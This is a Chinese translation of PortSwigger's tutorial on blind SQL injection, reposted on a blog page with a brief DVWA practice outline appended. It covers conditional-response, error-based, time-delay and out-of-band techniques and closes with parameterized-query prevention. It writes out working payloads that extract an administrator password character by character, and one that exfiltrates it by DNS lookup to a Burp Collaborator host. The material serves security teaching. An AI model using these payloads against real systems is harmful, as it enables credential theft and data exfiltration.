SQL 盲注

本文翻译自:https://portswigger.net/web-security/sql-injection/blind

在这一部分,我们将描述什么是盲目的SQL注入,解释各种发现和利用盲目的SQL注入漏洞的技术。

什么是SQL盲注?

当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现SQL盲注。

由于存在SQL盲注漏洞,许多技术(如联合注入)并不有效,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。仍然有可能利用盲SQL注入来访问未经授权的数据,但是必须使用不同的技术。

通过触发条件反应利用SQL盲注

假设有一个使用跟踪cookies收集使用分析的应用程序。对应用程序的请求包括如下cookie头:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

当处理包含 TrackingId 的cookie请求时,应用程序使用如下SQL查询来确定这是否是已知用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

该查询易受SQL注入攻击,但查询结果不会返回给用户。但是,根据查询是否返回任何数据,应用程序的行为会有所不同。如果它返回数据(因为提交了一个可识别的 TrackingId ),则在页面中显示“欢迎回来”消息。

这种行为足以利用SQL注入盲漏洞,并通过根据注入条件有条件地触发不同的响应来检索信息。要了解这是如何工作的,假设发送了两个依次包含以下 TrackingId cookie值的请求:

…xyz' AND '1'='1
…xyz' AND '1'='2

这些值中的第一个将导致查询返回结果,因为注入的 AND '1'='1 条件为真,因此将显示“欢迎回来”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为假,因此不会显示“欢迎回来”消息。这使我们能够确定任何单一注入条件的答案,从而一次提取一位数据。

例如,假设有一个名为 UsernamePassword 列的 Users 表,以及一个名为 Administrator 的用户。我们可以通过一次发送一系列输入来测试一个字符的密码,从而系统地确定该用户的密码。

为此,我们从以下输入开始:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

这将返回“欢迎回来”消息,指示注入的条件为真,因此密码的第一个字符大于 m

接下来,我们发送以下输入:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

这不会返回“欢迎回来”消息,表明注入的条件为假,因此密码的第一个字符不大于 t

最终,我们发送以下输入,返回“欢迎回来”消息,从而确认密码的第一个字符是 s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 's

我们可以继续此过程,从而系统地确定管理员用户的完整密码。

笔记

SUBSTRING函数在某些类型的数据库上被称为SUBSTR。有关更多详细信息,请参见SQL注入备忘单。

实验有条件响应的SQL盲注

通过触发SQL错误引发条件响应

在前面的示例中,假设应用程序执行相同的SQL查询,但是根据查询是否返回任何数据,其行为没有任何不同。前面的技术不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。

在这种情况下,通常可以根据注入的条件,通过有条件地触发SQL错误来诱导应用程序返回条件响应。这包括修改查询,以便在条件为真时会导致数据库错误,但在条件为假时不会。通常,数据库引发的未处理错误会导致应用程序的响应有所不同(如错误消息),从而使我们能够推断注入条件的真实性。

要了解这是如何工作的,假设发送了两个依次包含以下 TrackingId 的cookie请求:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入使用 CASE 关键字来测试条件,并根据表达式是否为真返回不同的表达式。对于第一个输入, CASE 表达式的计算结果为'a',这不会导致任何错误。对于第二个输入,它的计算结果为 1/0 ,这将导致被零除的错误。假设错误导致应用程序的HTTP响应有一些差异,我们可以使用这个差异来推断注入的条件是否为真。

使用这种技术,我们可以通过系统地一次测试一个字符,以已经描述的方式检索数据:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

注意

触发条件错误的方式多种多样,不同的技术适合不同的数据库类型。有关更多详细信息,请参见SQL注入备忘单。

实验有条件报错的SQL盲注

通过触发时间延迟利用SQL盲注

在前面的示例中,假设应用程序现在捕捉到数据库错误并妥善处理它们。在执行注入的SQL查询时触发数据库错误不再导致应用程序的响应有任何不同,因此前面诱导条件错误的技术将不起作用。

在这种情况下,通常有可能根据注入的条件,通过有条件地触发时间延迟来利用盲SQL注入漏洞。因为SQL查询通常由应用程序同步处理,所以延迟SQL查询的执行也会延迟HTTP响应。这使我们能够根据收到HTTP响应之前的时间来推断注入条件的真实性。

触发时间延迟的技术非常具体地取决于所使用的数据库类型。在Microsoft SQL Server上,类似以下的输入可用于测试条件并根据表达式是否为真触发延迟:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

第一个输入不会触发延迟,因为条件 1=2 为假。第二个输入将触发10秒的延迟,因为条件 1=1 为真。

使用这种技术,我们可以通过系统地一次测试一个字符,以已经描述的方式检索数据:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

注意

在SQL查询中有各种触发时间延迟的方法,不同的技术适用于不同类型的数据库。有关更多详细信息,请参见SQL注入备忘单。

实验时间延迟SQL盲注

实验时间延迟SQL盲注与信息检索

利用带外技术进行SQL盲注

现在,假设应用程序执行相同的SQL查询,但是异步执行的。应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪cookie执行SQL查询。查询仍然容易受到SQL注入的攻击,但是到目前为止所描述的技术都不起作用:应用程序的响应不依赖于查询是否返回任何数据,也不依赖于数据库是否出错,或者执行查询所花费的时间。

在这种情况下,通常有可能通过触发您控制的系统的带外网络交互来利用SQL盲注漏洞。如前所述,根据注入的条件,这些可以有条件地触发,以一次一位地推断信息。但是更强大的是,数据可以直接在网络交互中被过滤掉。

多种网络协议可用于此目的,但通常最有效的是DNS(域名服务)。这是因为许多生产网络允许DNS查询自由流出,因为它们对于生产系统的正常运行至关重要。

使用带外技术最简单、最可靠的方法是使用Burp Collaborator。这是一个服务器,提供各种网络服务(包括域名系统)的自定义实现,并允许您检测何时由于向易受攻击的应用程序发送单个有效负载而发生网络交互。对Burp Collaborator的支持内置于 Burp Suite Professional 中,无需配置。

触发域名系统查询的技术非常特定于所使用的数据库类型。在Microsoft SQL Server上,类似以下的输入可用于在指定的域上进行DNS查找:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

这将导致数据库对以下域执行查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

您可以使用Burp Suite的 Collaborator client 生成一个唯一的子域,并轮询 Collaborator client 以确认何时发生任何域名系统查找。

实验带外交互的SQL盲注

在确认了触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中提取数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

该输入读取 Administrator 用户的密码,拼接了唯一的Collaborator子域,并触发域名系统查找。这将导致如下的DNS查找,允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外(OAST)技术是检测和利用盲SQL注入的一种极其强大的方法,因为成功的可能性很高,并且能够直接在带外信道中导出数据。由于这个原因,OAST技术通常是更可取的,即使在其他盲目开发技术确实有效的情况下。

注意

触发带外交互的方式多种多样,不同的技术适用于不同类型的数据库。有关更多详细信息,请参见SQL注入备忘单。

实验带外数据导出的盲SQL注入

如何防止盲目的SQL注入袭击?

尽管发现和利用盲目的SQL注入漏洞所需的技术与普通SQL注入不同,也更复杂,但无论漏洞是否盲目,预防SQL注入所需的措施都是一样的。

与常规的SQL注入一样,可以通过谨慎使用参数化查询来防止盲目的SQL注入攻击,这可以确保用户输入不会干扰预期的SQL查询的结构。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA(Damn Vulnerable Web Application)是一个用于练习 Web 安全技术的漏洞应用程序。其中包含了多个不同类型的漏洞,包括 SQL SQL 是一种利用 Web 应用程序中存在的 SQL 入漏洞来获取数据库信息的攻击技术。在 DVWA 中,你可以通过以下步骤进行 SQL 的高级练习: 1. 登录 DVWA:在浏览器中访问 DVWA,并使用提供的用户名和密码登录。 2. 寻找 SQL 入点:在 DVWA 中,你需要找到存在 SQL 入漏洞的输入点。这可以是登录表单、搜索框或其他用户输入的地方。 3. 确定数据库和表名:使用不正确的输入来尝试触发错误,并尝试从错误消息中获取有关数据库和表名的信息。这可以帮助你构建有效的入语句。 4. 构造入语句:根据你获取到的数据库和表名信息,构造有效的入语句。在高级中,你可能需要使用一些技巧来绕过过滤和限制。 5. 判断入结果:通过观察应用程序的响应,判断你的入语句是否成功执行。你可以观察页面内容、错误消息或应用程序的行为变化。 6. 提取数据:如果入成功执行,你可以使用 UNION SELECT 或其他技术来提取数据库中的数据。通过逐渐调整入语句,你可以获取更多敏感信息。 请意,在进行 DVWA 或任何其他漏洞练习时,遵守法律和道德规范。仅在授权的环境中进行测试,不要攻击未经授权的系统。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值